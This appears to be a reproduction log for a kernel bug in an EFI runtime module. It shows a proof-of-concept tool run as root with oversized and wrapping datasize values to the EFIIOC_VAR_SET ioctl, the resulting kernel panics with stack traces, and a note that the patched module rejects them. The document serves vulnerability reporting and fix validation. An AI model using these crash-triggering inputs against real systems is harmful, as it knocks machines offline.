DF-5119 / run.log
# DF-5119 baseline runs (STOCK kernel module /boot/kernel/efirt.ko), as root.
# Run 1 - control (mode 0, sane sizes), guest stayed up:
# $ kldload efirt
# $ /tmp/efi_sz 0
# mode=0 datasize=0x4 namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
# ioctl rc=-1 errno=6 (Device not configured) [efi_enter() ENXIO on BIOS box; no panic]
#
# Run 2 - mode 1 (datasize = 0x4000000000000000, huge, non-wrapping):
# $ /tmp/efi_sz 1
# mode=1 datasize=0x4000000000000000 namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
# [ssh session never returns; guest dies]
# serial console (dfbsd-qemu/boot.log):
# module_register_init: MOD_LOAD (efirt, ffffffff873bc3b0, 0) error 6
# panic: kmem_slab_alloc(): kernel_map ran out of space!
# cpuid = 1
# Trace beginning at frame 0xfffff801181c3628
# kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
# kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
# _kmalloc() at _kmalloc+0x5be 0xffffffff8065737e
# efidev_ioctl() at efidev_ioctl+0x2d1 0xffffffff873bd291
# dev_dioctl() at dev_dioctl+0x65 0xffffffff8062cdb5
# devfs_fo_ioctl() at devfs_fo_ioctl+0x95 0xffffffff80921bb5
# Debugger("panic")
# -> vm.sh status: down. [full excerpt in panic.txt / panic.m1.txt]
#
# Run 3 (after vm.sh reset with-src + kldload efirt + rebuild PoC)
# - mode 2 (datasize = 0xffffffffffffffff, round_page() wraps to 0):
# $ /tmp/efi_sz 2
# mode=2 datasize=0xffffffffffffffff namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
# [ssh session never returns; guest dies]
# serial console (dfbsd-qemu/boot.log):
# module_register_init: MOD_LOAD (efirt, ffffffff826003b0, 0) error 6
# panic: vm_map_entry_link: dup addr map 0xffffffff8159eea0 ent 0xffffffff81619ea8
# cpuid = 3
# _vm_map_clip_end() at _vm_map_clip_end+0x11e 0xffffffff809a314e
# vm_map_clip_range.constprop.27() at ...+0x187 0xffffffff809a45f7
# vm_map_set_wired_quick() at vm_map_set_wired_quick+0x20 0xffffffff809a5390
# kmem_slab_alloc() at kmem_slab_alloc+0x145 0xffffffff806568c5
# _kmalloc() at _kmalloc+0x5be 0xffffffff8065737e
# Debugger("panic")
# -> vm.sh status: down. [full excerpt in panic.m2.txt]
#
# Patched-module runs (fix validation) are in fix_run.log: modes 1 and 2 both
# return EINVAL (errno 22) and the guest stays up; mode 0 still returns ENXIO.